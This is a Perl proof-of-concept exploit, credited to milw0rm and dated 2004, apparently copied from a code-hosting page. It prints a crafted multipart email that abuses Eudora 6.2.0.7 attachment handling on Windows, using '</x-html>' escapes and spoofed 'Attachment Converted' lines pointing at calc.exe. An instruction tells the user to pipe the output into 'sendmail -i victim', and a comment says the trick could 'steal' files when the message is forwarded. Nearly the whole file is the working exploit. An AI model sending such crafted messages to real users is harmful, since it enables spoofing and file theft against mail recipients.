38 lines
No EOL
1.1 KiB
Perl
Executable file
38 lines
No EOL
1.1 KiB
Perl
Executable file
#!/usr/bin/perl --
|
|
|
|
|
|
use MIME::Base64;
|
|
|
|
|
|
print "From: me\n";
|
|
print "To: you\n";
|
|
print "Subject: Eudora 6.2.0.7 on Windows spoof\n";
|
|
print "MIME-Version: 1.0\n";
|
|
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
|
|
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";
|
|
|
|
|
|
print "--zzz\n";
|
|
print "Content-Type: text/plain\n";
|
|
print "Content-Transfer-Encoding: 7bit\n\n";
|
|
print "With spoofed attachments, we could 'steal' files (after a warning?)
|
|
if the message was forwarded (not replied to).\n";
|
|
|
|
|
|
print "\n--zzz\n";
|
|
print "Content-Type: text/html; name=\"qp.txt\"\n";
|
|
print "Content-Transfer-Encoding: quoted-printable \n";
|
|
print "Content-Disposition: inline; filename=\"qp.txt\"\n\n";
|
|
print "Within text/html part, use </x-html> to get back to plaintext,
|
|
no need for NUL or linebreak or nothing:
|
|
</x-html>\n";
|
|
print "Attachment Converted=00: \"c:\\winnt\\system32\\calc.exe\"\n";
|
|
print "Attachment Converted=
|
|
: \"c:\\winnt\\system32\\calc.exe\"\n";
|
|
print "Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\n";
|
|
|
|
|
|
print "\n--zzz--\n";
|
|
|
|
|
|
# milw0rm.com [2004-10-11] |